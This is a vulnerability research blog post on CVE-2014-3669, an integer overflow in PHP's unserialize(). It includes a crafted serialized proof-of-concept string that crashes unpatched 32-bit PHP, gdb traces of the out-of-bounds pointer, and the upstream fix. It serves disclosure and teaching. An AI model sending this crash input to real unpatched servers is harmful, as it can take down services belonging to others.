CVE-2014-3669: Integer overflow in unserialize() PHP function

Read Time: 4 min.

In this blog post we are going to analyze an integer overflow we discovered in PHP (version <= 5.6.1, 5.5.17, 5.4.33) during our security research campaign which was conducted on a Ubuntu 14.04.1 LTS 32bit system.

Introduction

In this blog post we are going to analyze an integer overflow we discovered in PHP (version <= 5.6.1, 5.5.17, 5.4.33) during our security research campaign which was conducted by High-Tech Bridge Security Research Lab on a Ubuntu 14.04.1 LTS 32bit system.

For this bug we used radamsa fuzzer. Radamsa is an excellent fuzzer for both text based generations and also binary file format mutations. We coded a python script which uses the python-ptrace signal handling module and allows us to catch any crashes and categorizes them depending on the signal number. For more information please visit the official website which has excellent documentation and examples.

Integer Limits

Before continuing let’s find out the maximum sizes of signed ‘int’ and ‘long’ data types.

On the Ubuntu and most UNIX systems the list of variables are defined in /usr/include/limits.h

We will slightly modify the Example 4 from OWASP’s Integer overflow article:

$ cat limits.c



#include <stdio.h>

#include <limits.h>



int main(void)

{

/*

user@ubuntuvm:~/Desktop$ cpp -dD /dev/null | grep "INT" | head -3

#define __SIZEOF_INT__ 4

#define __SIZEOF_POINTER__ 4

#define __WINT_TYPE__ unsigned int

user@ubuntuvm:~/Desktop$ cpp -dD /dev/null | grep "LONG" | head -3

#define __SIZEOF_LONG__ 4

#define __SIZEOF_LONG_LONG__ 8

#define __SIZEOF_LONG_DOUBLE__ 12



On a 32bit system the size of an integer is the same as a long

and as such a = b = 2147483647;

*/



int a;

long b;



a = INT_MAX;

printf("int a (INT_MAX) = %d (0x%x), int a (INT_MAX) + 1 = %d (0x%x)

", a,a,a+1,a+1);



b = LONG_MAX;

printf("long b (LONG_MAX) = %ld (0x%x), long b (LONG_MAX) + 1 = %ld (0x%x)

", b,b,b+1,b+1);



return 0;

}

Compiling and running the binary we get:

$ gcc limits.c -o limits



$ ./limits

int a (INT_MAX) = 2147483647 (0x7fffffff), int a (INT_MAX) + 1 = -2147483648 (0x80000000)

long b (LONG_MAX) = 2147483647 (0x7fffffff), long b (LONG_MAX) + 1 = -2147483648 (0x80000000)

Bug Analysis

Now we are going to save the following code snippet and run it under gdb:

<?php

unserialize('C:3:"GMP":18446744075857035259:{}');

?>



gdb$ r poc.php

Starting program: /usr/local/bin/php poc.php

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".



Warning: Class __PHP_Incomplete_Class has no unserializer in /home/user/Desktop/poc.php on line 2



Program received signal SIGSEGV, Segmentation fault.

-----------------------------------------------------------------------[regs]

EAX: 0x3510CAB3 EBX: 0xB510B74C ECX: 0x3510CAB4 EDX: 0xBFFFBAB8 o d I t s z A p C

ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB948 ESP: 0xBFFFB948 EIP: 0x0850505F

CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B

-----------------------------------------------------------------------[code]

=> 0x850505f <finish_nested_data+16>: movzx eax,BYTE PTR [eax]

0x8505062 <finish_nested_data+19>: cmp al,0x7d

0x8505064 <finish_nested_data+21>: jne 0x850506d <finish_nested_data+30>

0x8505066 <finish_nested_data+23>: mov eax,0x1

0x850506b <finish_nested_data+28>: jmp 0x8505072 <finish_nested_data+35>

0x850506d <finish_nested_data+30>: mov eax,0x0

0x8505072 <finish_nested_data+35>: pop ebp

0x8505073 <finish_nested_data+36>: ret

-----------------------------------------------------------------------------

0x0850505f in finish_nested_data (rval=0xbfffbae4, p=0xbfffbab8, max=0xb510cab9 "", var_hash=0xbfffbab4, tsrm_ls=0x8c81320) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356

356 if (*((*p)++) == '}')

gdb$



From the above output we see that we are going to access the data in the memory that eax register points to - or dereference p (0x3510CAB3), then compare the lower 8 bits with 0x7d (that is char ‘}’ in ascii) and if they are equal return 1 else return 0.

As this memory address does not exist the program crashes. Debug symbols display the filename and the line where the crash occurred (in this case var_unserializer.c line 356)

Let’s list all the frames on the stack and see how we got there.

gdb$ bt

#0 0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356

#1 0x085051bb in object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:387

#2 0x085062cb in php_var_unserialize (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:738

#3 0x084f264a in zif_unserialize (ht=0x1, return_value=0xb510c74c, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0x0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var.c:965

#4 0x0862eeda in zend_do_fcall_common_helper_SPEC (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:550

#5 0x08633b66 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:2332

#6 0x0862e411 in execute_ex (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:363

#7 0x0862e4cf in zend_execute (op_array=0xb510cff0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:388

#8 0x085f1f1d in zend_execute_scripts (type=0x8, tsrm_ls=0x8c81338, retval=0x0, file_count=0x3) at /home/user/Desktop/php-5.5.17/Zend/zend.c:1330

#9 0x08556b7e in php_execute_script (primary_file=0xbfffeee4, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/main/main.c:2506

#10 0x0869dee7 in do_cli (argc=0x2, argv=0x8c812a0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/sapi/cli/php_cli.c:994

#11 0x0869f279 in main (argc=0x2, argv=0x8c812a0) at /home/user/Desktop/php-5.5.17/sapi/cli/php_cli.c:1378



The innermost three frames show that var_unserializer.c is probably where the bug lies in.

The crash happened at the frame zero line 356, followed by its caller at line 387: return finish_nested_data(UNSERIALIZE_PASSTHRU - Figure 1);

Now that we have a basic clue of what is happening let’s set a breakpoint after the variable declaration at the object_custom():





Figure 1: Sample source code from /ext/standard/var_unserializer.c

gdb$ break var_unserializer.c:373

Breakpoint 1 at 0x85050a2: file /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c, line 373.

gdb$ run

Starting program: /usr/local/bin/php poc.php

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

-----------------------------------------------------------------------[regs]

EAX: 0xBFFFBAB8 EBX: 0xB510B74C ECX: 0x00000000 EDX: 0xB510CAB8 o d I t s Z a P c

ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB988 ESP: 0xBFFFB950 EIP: 0x085050A2

CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B

-----------------------------------------------------------------------[code]

=> 0x85050a2 <object_custom+46>: cmp DWORD PTR [ebp-0xc],0x0

0x85050a6 <object_custom+50>: js 0x85050b7 <object_custom+67>

0x85050a8 <object_custom+52>: mov eax,DWORD PTR [ebp+0xc]

0x85050ab <object_custom+55>: mov edx,DWORD PTR [eax]

0x85050ad <object_custom+57>: mov eax,DWORD PTR [ebp-0xc]

0x85050b0 <object_custom+60>: add eax,edx

0x85050b2 <object_custom+62>: cmp eax,DWORD PTR [ebp+0x10]

0x85050b5 <object_custom+65>: jb 0x85050ec <object_custom+120>

-----------------------------------------------------------------------------



Breakpoint 1, object_custom (rval=0xbfffbae4, p=0xbfffbab8, max=0xb510cab9 "", var_hash=0xbfffbab4, tsrm_ls=0x8c81320, ce=0x8da10c8) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:373

373 if (datalen < 0 || (*p) + datalen >= max) {

gdb$

We hit our breakpoint and we are going to examine the values.

gdb$ print p

$1 = (const unsigned char **) 0xbfffbab8

gdb$ print *p

$2 = (const unsigned char *) 0xb510cab8 "}"



So far so good, pointer p points to ‘}’ char.

Let’s examine datalen variable.

gdb$ ptype datalen

type = long

gdb$ print sizeof(datalen)

$3 = 0x4

gdb$ print/d datalen

$4 = 2147483643

gdb$ print/x datalen

$5 = 0x7ffffffb

This is very interesting, we confirmed that the size of long is indeed 4 bytes and then we respectively printed the decimal and hex values of the datalen variable.

If you recall the largest positive signed (32bit) integer value is 2147483647 (0x7fffffff) and we are really close hitting this value. Let’s play around a bit with this variable:

gdb$ p/d datalen + 4

$6 = 2147483647

gdb$ p/x datalen + 4

$7 = 0x7fffffff

gdb$ p/d datalen + 5

$8 = -2147483648

gdb$ p/x datalen + 5

$9 = 0x80000000

As expected the addition of datalen with any value greater or equal to 5 will overwrite the sign bit and overflow the integer.

Let's examine the current max, (*p) and (*p) + datalen values:



gdb$ p/d max

$10 = 3037776569

gdb$ p/d (*p)

$11 = 3037776568

gdb$ p/d (*p) + datalen

$12 = 890292915 <-- overflown value

gdb$ p/x (*p) + datalen

$13 = 0x3510cab3

Switching back to the code:

if (datalen < 0 || (*p) + datalen >= max) {

zend_error(E_WARNING, "Insufficient data for unserializing - %ld required, %ld present", datalen, (long)(max - (*p)));

return 0;

}

we can see that (*p) + datalen = 890292915 (overflown value) is less than max (3037776569) and thus the above if statement is false.

We will set another breakpoint at var_unserializer.c:385:

gdb$ b var_unserializer.c:385

Breakpoint 2 at 0x8505185: file /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c, line 385.

We continue the execution and we end up here:

gdb$ c

Continuing.



Warning: Class __PHP_Incomplete_Class has no unserializer in /home/user/Desktop/poc.php on line 2

-----------------------------------------------------------------------[regs]

EAX: 0x00000000 EBX: 0xB510B74C ECX: 0xBFFFB8C8 EDX: 0x08C7D340 o d I t S z a p c

ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB958 ESP: 0xBFFFB920 EIP: 0x08505185

CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B

-----------------------------------------------------------------------[code]

=> 0x8505185 <object_custom+273>: mov eax,DWORD PTR [ebp+0xc]

0x8505188 <object_custom+276>: mov edx,DWORD PTR [eax]

0x850518a <object_custom+278>: mov eax,DWORD PTR [ebp-0xc]

0x850518d <object_custom+281>: add edx,eax

0x850518f <object_custom+283>: mov eax,DWORD PTR [ebp+0xc]

0x8505192 <object_custom+286>: mov DWORD PTR [eax],edx

0x8505194 <object_custom+288>: mov eax,DWORD PTR [ebp+0x18]

0x8505197 <object_custom+291>: mov DWORD PTR [esp+0x10],eax

-----------------------------------------------------------------------------



Breakpoint 2, object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510cab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:385

385 (*p) += datalen;

This time we will step the command and observe the registers but before we do it let’s print again the sum of (*p) + datalen:

gdb$ print (*p) + datalen

$42 = (const unsigned char *) 0x3510cab3 <error: Cannot access memory at address 0x3510cab3>

gdb$ step

-----------------------------------------------------------------------[regs]

EAX: 0xBFFFBA88 EBX: 0xB510B74C ECX: 0xBFFFB8C8 EDX: 0x3510CAB3 o d I t s z A p C

ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB958 ESP: 0xBFFFB920 EIP: 0x08505194

CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B

-----------------------------------------------------------------------[code]

=> 0x8505194 <object_custom+288>: mov eax,DWORD PTR [ebp+0x18]

0x8505197 <object_custom+291>: mov DWORD PTR [esp+0x10],eax

0x850519b <object_custom+295>: mov eax,DWORD PTR [ebp+0x14]

0x850519e <object_custom+298>: mov DWORD PTR [esp+0xc],eax

0x85051a2 <object_custom+302>: mov eax,DWORD PTR [ebp+0x10]

0x85051a5 <object_custom+305>: mov DWORD PTR [esp+0x8],eax

0x85051a9 <object_custom+309>: mov eax,DWORD PTR [ebp+0xc]

0x85051ac <object_custom+312>: mov DWORD PTR [esp+0x4],eax

-----------------------------------------------------------------------------

387 return finish_nested_data(UNSERIALIZE_PASSTHRU);

As expected *p pointer (stored in edx) now points to invalid memory address and continuing the execution we are going to dereference this address and eventually crash.

gdb$ c

Continuing.



Program received signal SIGSEGV, Segmentation fault.

-----------------------------------------------------------------------[regs]

EAX: 0x3510CAB3 EBX: 0xB510B74C ECX: 0x3510CAB4 EDX: 0xBFFFBA88 o d I t s z A p C

ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB918 ESP: 0xBFFFB918 EIP: 0x0850505F

CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B

-----------------------------------------------------------------------[code]

=> 0x850505f <finish_nested_data+16>: movzx eax,BYTE PTR [eax]

0x8505062 <finish_nested_data+19>: cmp al,0x7d

0x8505064 <finish_nested_data+21>: jne 0x850506d <finish_nested_data+30>

0x8505066 <finish_nested_data+23>: mov eax,0x1

0x850506b <finish_nested_data+28>: jmp 0x8505072 <finish_nested_data+35>

0x850506d <finish_nested_data+30>: mov eax,0x0

0x8505072 <finish_nested_data+35>: pop ebp

0x8505073 <finish_nested_data+36>: ret

-----------------------------------------------------------------------------

0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510cab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356

356 if (*((*p)++) == ‘}')

Running the ‘exploitable’ GDB plugin we get:

gdb$ exploitable

Description: Access violation on source operand

Short description: SourceAv (19/22)

Hash: 5c4e079d41010aaa759ab4663549e504.6e2e3a1f7072190c9a557ed5fa2af9cd

Exploitability Classification: UNKNOWN

Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction. This likely indicates a read access violation.

Other tags: AccessViolation (21/22)

To sum up this is a read access violation and probably not exploitable, but cases like CVE-2013-7226 (Integer overflow in the gdImageCrop function) can lead to a heap-based buffer overflow and probably allow potential attackers to gain remote code execution.

64-bit case

For the 64-bit case we are using a Debian 7.5 system.

Again we set a brakpoint at the same line:

Breakpoint 1, object_custom (rval=0x7fffffffaa30, p=0x7fffffffaa50, max=0x7ffff1268bf1 "", var_hash=0x7fffffffaa48, ce=0x154b7f0) at /home/symeon/Desktop/php-5.5.17/ext/standard/var_unserializer.c:373

373 if (datalen < 0 || (*p) + datalen >= max) {



gdb$ print sizeof(datalen)

$1 = 0x8

gdb$ print datalen

$2 = 0x7ffffffb

gdb$ p/d datalen

$3 = 2147483643

gdb$ p/x datalen + 5

$4 = 0x80000000

gdb$ p/d datalen + 5

$5 = 2147483648 <--- No overflow

gdb$ p/d max

$6 = 140737239223281

gdb$ p/d (*p) + datalen

$7 = 140739386706923

The size of an unsigned long integer on a 64-bit machine is 8 bytes and thus has a range of values from -9223372036854775808 (mininum) to 9223372036854775807 (maximum)

As such, the sum of (*p) + datalen is calculated correctly and because 140739386706923 is greater than max (140737239223281) we jump into the if statement and get this warning:

gdb$ c



Warning: Insufficient data for unserializing - 2147483643 required, 1 present in /home/symeon/Desktop/poc.php on line 2



[Inferior 1 (process 8693) exited normally]

The Fix

PHP developers released the following patch which fixes the issue and prevents PHP from crashing/segfaulting.

--- a/ext/standard/var_unserializer.c

+++ b/ext/standard/var_unserializer.c

@@ -1,4 +1,4 @@

-/* Generated by re2c 0.13.5 on Sat Jun 21 21:27:56 2014 */

+/* Generated by re2c 0.13.5 */

#line 1 "ext/standard/var_unserializer.re"

/*

+----------------------------------------------------------------------+

@@ -372,7 +372,7 @@ static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)



(*p) += 2;



- if (datalen < 0 || (*p) + datalen >= max) {

+ if (datalen < 0 || (max - (*p))<= datalen) {

zend_error(E_WARNING, "Insufficient data for unserializing - %ld required, %ld present", datalen, (long)(max - (*p)));

return 0;

}



More information about the official patch on php.net.

Acknowledgements

[1] SPL ArrayObject/SPLObjectStorage Unserialization Type Confusion Vulnerabilities

[2] xorl's blog: CVE-2011-1092 PHP shmop_read() Integer Overflow

[3] OWASP's Integer overflow article

[4] gdbinit repository

[5] Debugging with GDB

